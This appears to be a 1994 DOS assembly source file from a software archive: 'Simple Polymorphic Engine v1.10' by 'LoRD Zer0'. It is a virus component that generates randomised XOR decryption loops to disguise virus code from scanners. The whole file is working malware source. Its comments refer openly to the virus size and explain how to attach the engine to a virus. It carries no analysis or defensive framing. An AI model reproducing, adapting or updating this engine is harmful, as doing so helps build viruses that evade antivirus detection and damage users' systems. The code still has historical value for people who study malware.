home *** CD-ROM | disk | FTP | other *** search
- _Mov_reg = 0b8h
- _xor_low = 80h
- _xor_high = 30h
- _inc = 40h
- _dec = 48h
- xor_bxsi = 0
- xor_bxdi = 1
- xor_bpsi = 2
- xor_bpdi = 3
- xor_si = 4
- xor_di = 5
- xor_word = 6
- xor_bx = 7
-
- _ax = 0
- _cx = 1
- _dx = 2
- _bx = 3
- _sp = 4
- _bp = 5
- _si = 6
- _di = 7
- .MoDEL TiNY
- .RADiX 16
- .CoDE
- org 100
- Public Engine
- Start:
- ;
- ; LoRD Zer0's Simple Polymorphic Engine (SPe) v1.10
- ; (C) Copyright November, 1994.
- ;
- ; The Engine is 380 bytes big. You need to encrypt your own code. It's not
- ; made by the engine.
- ;
- ; Entry:
- ; SI = offset to place decrypt loop in the file.
- ; ES:DI = offset of where to put new decrypt rutine
- ; CX = Virus size except engine
- ;
- ; Return:
- ; CX = Size
- ; AL = Key
- ; DI = Pointer to buffer + CX
- ; DX = Total Size of Code to get Encrypted
- ; NOTE: Every register is DESTROYED!
- ;
- ; To creat:
-
- Engine proc far
- call begin
- begin: pop bp
- sub bp,offset begin
- push cs
- pop ds
- not_sp:
- call rnd_get
- and al,7 ; 0-7
- cmp al,_sp ; It may cause problem with the stack if I may
- je not_sp ; Use SP.
-
- mov [V_size+bp],cx
- mov [set_reg+bp],0
- mov [Counter+bp],al
- cmp al,_cx
- jne add_me
- mov [_cx_used+bp],ah
- test ah,1
- jz oki
- add_me:
- inc si
- oki:
- call rnd_get
- test al,1
- jnz not_reg ; Put the counter Later
- call put_reg ; Put it now.
- not_reg:
- new:
- call rnd_get
- and al,7 ;0-7
- cmp al,6 ;We don't want to use xor byte ptr [offset],??
- je new
-
- cmp al,7 ; [BX]
- je _7
- cmp al,1 ; [BX+DI]
- je _1
- cmp al,2 ; [BP+SI]
- je _2
- cmp al,3 ; [BP+DI]
- je _3
- cmp al,4 ; [SI]
- je _4
- cmp al,5 ; [DI]
- je _5
- _0:
- mov dx,0603h ;bx, si
- xor cl,cl ;[bx+si]
- jmp double_xor
- _1:
- mov dx,0703h ;bx, di
- mov cl,1 ;[bx+di]
- jmp double_xor
- _3:
- mov dx,0705h ;bp, si
- mov cl,3 ;[bp+di]
- jmp double_xor
- _4:
- mov dx,0406h ;num 4 si
- jmp single_xor
- _5:
- mov dx,0507h ;num 5 di
- jmp single_xor
- _7:
- mov dx,0703h ;num 7 bx
- jmp single_xor
- _2:
- mov dx,0605h ;bp, si
- mov cl,2 ;[bp+si]
- double_xor:
- cmp [Counter+bp],dl ; The reg is already in use as the Counter
- je new ; Jump back and get a new pointer.
- cmp [Counter+bp],dh ; The reg is already in use as the Counter
- je new ; Jump back and get a new pointer.
-
- mov al,_mov_reg ; 0B8h the begining of MOV REG,????
- add al,dl ;
- stosb ; Save it.
- add si,0f
- ; The offset Top of encrypted code
- ; mov ??,????h ;3 bytes
- ; mov ??,????h ;3 bytes
- ; mov ??,????h ;3 bytes
- ; Xor_it:
- ; xor byte ptr [??+??],?? ;3 byte
- ; inc ?? ;1 byte
- ; Loop xor_it ;2 bytes or
- ; dec ?? ;1 byte
- ; jnz xorit ;2 bytes
- Split_it:
- call rnd_get ; Get random number
- xor ah,ah ; 0 - 255
- ; cmp ax,si ; Dead code..
- ; ja Split_it ; ----"------
- ; This rutine is used to Split the toec address
-
- sub si,ax ; Split
- xchg si,ax ; get it in AX
- stosw ; Save the first value.
- mov al,dh ; Get next REG to use
- add al,_mov_reg
- stosb ; second reg to use.
- xchg si,ax ; Get it in AX
- stosw ; Save the second pointer
- call put_reg ; Put Counter if we havn't done it already.
- mov ah,30 ; 30+CL = [??+??]
- add ah,cl
- mov al,80 ; 80 = XOR BYTE PTR
- ; xor byte ptr [bx+si]
- stosw ; Save
- new_num:
- call rnd_get
- cmp al,0
- je new_num
- ; Used to get a encrypt Value..
- mov [key+bp],al ; Save the key.
- stosb
- mov cx,0Fh ; decrypt code Size
-
- mov al,_inc
- test ah,1
- jnz not_this
- add al,dl
- jmp _don
- not_this:
- add al,dh
- _don:
- stosb
- cmp [Counter+bp],_cx
- jne easy
- test [_cx_used+bp],1 ; is cx used ?
- jnz easy
- mov ax,0FAE2h ;Loop $-6
- jmp _done
- easy:
- mov al,_dec
- add al,[Counter+bp]
- stosb
- inc cx ; there is one byte more
- mov ax,0F975h ;JNZ $-7
- _done:
- stosw
- mov al,[key+bp]
- mov dx,[V_size+bp]
- add dx,Engine_size
- retn
- db 'SPe v1.10 by LoRD Zer0',0
- single_xor:
- cmp [Counter+bp],dl
- jne newa
- jmp new
- newa:
- mov al,_mov_reg
- add al,dl
- stosb
- add si,0c
- xchg si,ax
- stosw
- call put_reg
- mov ah,30
- add ah,dh
- mov al,80 ;xor byte ptr [di]
- stosw
- call rnd_get
- mov [key+bp],al
- stosb
-
- mov cx,0c
-
- mov al,_inc
- add al,dl
- jmp _don
- ; Put Counter reg.
- ; Entry: None
- ; Return: None
-
- put_reg:
- push dx
- push cx
- cmp [set_reg+bp],0
- jne done_reg
- call rnd_get
- xchg dx,ax
- mov al,_mov_reg
- add al,[Counter+bp]
- stosb
- db 0B8h ;MOV AX,
- V_size dw 0 ;Main _virus Size
- ; mov ax,v_size
-
- add ax,Engine_size
- and dh,2 ;dx 0 -1023
- add ax,dx
- stosw
- mov [set_reg+bp],'0'
- done_reg:
- pop cx
- pop dx
- retn
-
- ; Get Random Number
- ; Entry: None
- ; Return: AX = Random number
-
- rnd_get:
- push cx
- push dx
- mov ah,2c
- int 21
- in al,40
- xchg ah,al
- in al,40
- xor ah,cl
- xor ax,dx
- pop dx
- pop cx
- retn
- _cx_used db ? ; Check if CX is used
- set_reg db ? ; Have we already set Counter reg
- key db ? ; Encrypt Key.
- Counter db ? ; REG used as counter
- Engine_size equ $-offset start ; The size
- Engine endp
- end start
-